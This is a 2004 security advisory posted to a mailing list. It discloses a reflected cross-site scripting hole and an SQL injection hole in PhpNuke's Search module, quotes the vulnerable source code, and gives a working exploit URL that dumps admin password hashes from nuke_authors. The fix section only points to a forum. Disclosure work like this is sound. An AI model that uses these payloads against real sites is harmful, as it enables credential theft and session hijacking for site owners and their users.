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From: come2waraxe at yahoo.com (Janek Vind)
Subject: [waraxe-2004-SA#035 - Multiple security holes in PhpNuke - part 2]


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{                 [ Multiple security holes in PhpNuke
- part 2]                 }
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Author: Janek Vind "waraxe"
Date: 17. July 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=35


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management
system, written in php by
Francisco Burzi. This CMS (Content Management System)
is used on many thousands
websites, because it's freeware, easy to install and
has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This time we will look @ security holes - 1 XSS and 1
sql inject case -  
in "Search" module.


A - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - xss in "/modules/Search/index.php":

Open search page in phpnuke:

http://localhost/nuke73/modules.php?name=Search

and enter to input field something like this:

1"><body onload="alert(document.cookie);

In case of other browsers than IE xss exploiting
method can be modified, but one thing
is sure - xss case exists here...


B - Sql Injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - critical sql injection case in
"/modules/Search/index.php":

Well, let's look at source code from that script:

----------------[ original source ]-----------------
} elseif ($type == "comments" AND isset($sid)) {
	$res = $db->sql_query("select title from
".$prefix."_stories where sid='$sid'");
	list($st_title) = $db->sql_fetchrow($res);
	$instory = "AND sid='$sid'";
	echo "<center><font
class=\"title\"><b>"._SEARCHINSTORY."
$st_title</b></font></center><br>";
} else {
	echo "<center><font class=\"title\"><b>"._SEARCHIN."
$topictext</b></font></center><br>";
}
----------------[/original source ]-----------------

So - if search type is "comments" and there is no
"sid" specified, then sql query 
fragment "instory" is not initialized. Now, let's look
further:


----------------[ original source ]-----------------
} elseif ($type=="comments") {
...
...
	$result8 = $db->sql_query("SELECT tid, sid, subject,
date, name from
	 ".$prefix."_comments where (subject like '%$query%'
OR comment like '%$query%')
	 $instory order by date DESC limit $min,$offset");
...
...
----------------[/original source ]-----------------

What is here, is a typical case of uninitialized
variable - "instory".
It's time to turn this little bug to something evil:

----------------[ real life exploit ]---------------

http://localhost/nuke73/modules.php?name=Search&type=comments&
query=not123exists&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors

----------------[/real life exploit ]---------------

... and we see all the secret information about admins
:)

Have a nice day!


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Fixing tutorials, discussion, help - look at
http://www.waraxe.us/forums.html

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to
http://www.gamecheaters.us staff!
Special greets to icenix and slimjim100!
Tervitused - Heintz ja Maku!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@...oo.com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

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